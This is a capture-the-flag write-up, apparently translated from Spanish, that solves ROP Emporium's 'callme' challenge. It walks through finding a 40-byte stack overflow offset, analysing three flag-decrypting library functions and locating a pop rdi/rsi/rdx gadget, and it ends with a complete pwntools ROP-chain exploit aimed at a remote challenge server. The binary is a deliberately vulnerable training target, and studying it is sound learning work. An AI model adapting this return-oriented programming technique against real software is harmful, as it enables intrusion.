This page was translated from Spanish with AI. The original version is in Spanish: read the original.

callme

August 17, 20254 minutes

{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("callme by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

The main function calls the pwnme() function.

There is a clear BoF in the pwnme function: there is a 32-byte buffer and the program lets the user write up to 0x200 bytes into it

int pwnme()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  puts("Hope you read the instructions...\n");
  printf("> ");
  read(0, s, 0x200uLL);
  return puts("Thank you!");
}

With cyclic we can find the offset

pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
callme by ROP Emporium
x86_64

Hope you read the instructions...

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

The offset is 40.

Now we could try a ret2libc, but the libc provided for the challenge doesn’t have system….

[d3bo@archlinux rop_emporium]$ readelf -s libcallme.so | grep system
[d3bo@archlinux rop_emporium]$

Inside the binary there are some functions that stand out

There are 3 functions

  • callme_one
  • callme_two
  • callme_three

Each of them only contains extrn callme_one:near (and so on).

This suggests they are being loaded from libc as external functions.

So I opened the provided libc in IDA

  • callme_one:
int __fastcall callme_one(__int64 a1, __int64 a2, __int64 a3)
{
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("encrypted_flag.dat", "r");
  if ( !stream )
  {
    puts("Failed to open encrypted_flag.dat");
    exit(1);
  }
  g_buf = (char *)malloc(0x21uLL);
  if ( !g_buf )
  {
    puts("Could not allocate memory");
    exit(1);
  }
  g_buf = fgets(g_buf, 33, stream);
  fclose(stream);
  return puts("callme_one() called correctly");
}
  • callme_two:
int __fastcall callme_two(__int64 a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+24h] [rbp-Ch]
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("key1.dat", "r");
  if ( !stream )
  {
    puts("Failed to open key1.dat");
    exit(1);
  }
  for ( i = 0; i <= 15; ++i )
    g_buf[i] ^= fgetc(stream);
  return puts("callme_two() called correctly");
}
  • callme_three:
void __fastcall __noreturn callme_three(__int64 a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+24h] [rbp-Ch]
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
  {
    stream = fopen("key2.dat", "r");
    if ( !stream )
    {
      puts("Failed to open key2.dat");
      exit(1);
    }
    for ( i = 16; i <= 31; ++i )
      g_buf[i] ^= fgetc(stream);
    *(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
    *(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
    *(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
    puts(g_buf);
    exit(0);
  }
  puts("Incorrect parameters");
  exit(1);

It looks like each function is part of a process that decrypts a flag.

What we need to do now is build a ROP chain that calls the 3 functions so the decrypted flag on the server gets printed.

Keep in mind that each function takes 3 arguments. So we need a gadget (quick reminder: the first argument is passed through rdi, the second through rsi, and the third through rdx), and this gadget fits like a glove

[d3bo@archlinux rop_emporium]$ ROPgadget --binary callme | grep "pop rsi"
....
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

The pop takes the value from rsp and stores it in the corresponding register; this has to be done before calling the function. If you’re not very clear on how ROP works, I recommend checking out the writeup for the Restaurant challenge

#!/usr/bin/env python3

from pwn import *

exe = ELF("./callme")
libc = ELF("./libcallme.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("saturn.picoctf.net", 60804)

    return r


def main():
    r = conn()
    pop_rdi_pop_rsi_pop_rdx = 0x000000000040093c
    callme_one = 0x0000000000400720
    callme_two = 0x0000000000400740
    callme_three = 0x00000000004006f0
    offset = 40
    payload = flat({
        offset: [
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_one,
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_two,
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_three
        ]})

    r.sendlineafter(b'>', payload)

    r.interactive()


if __name__ == "__main__":
    main()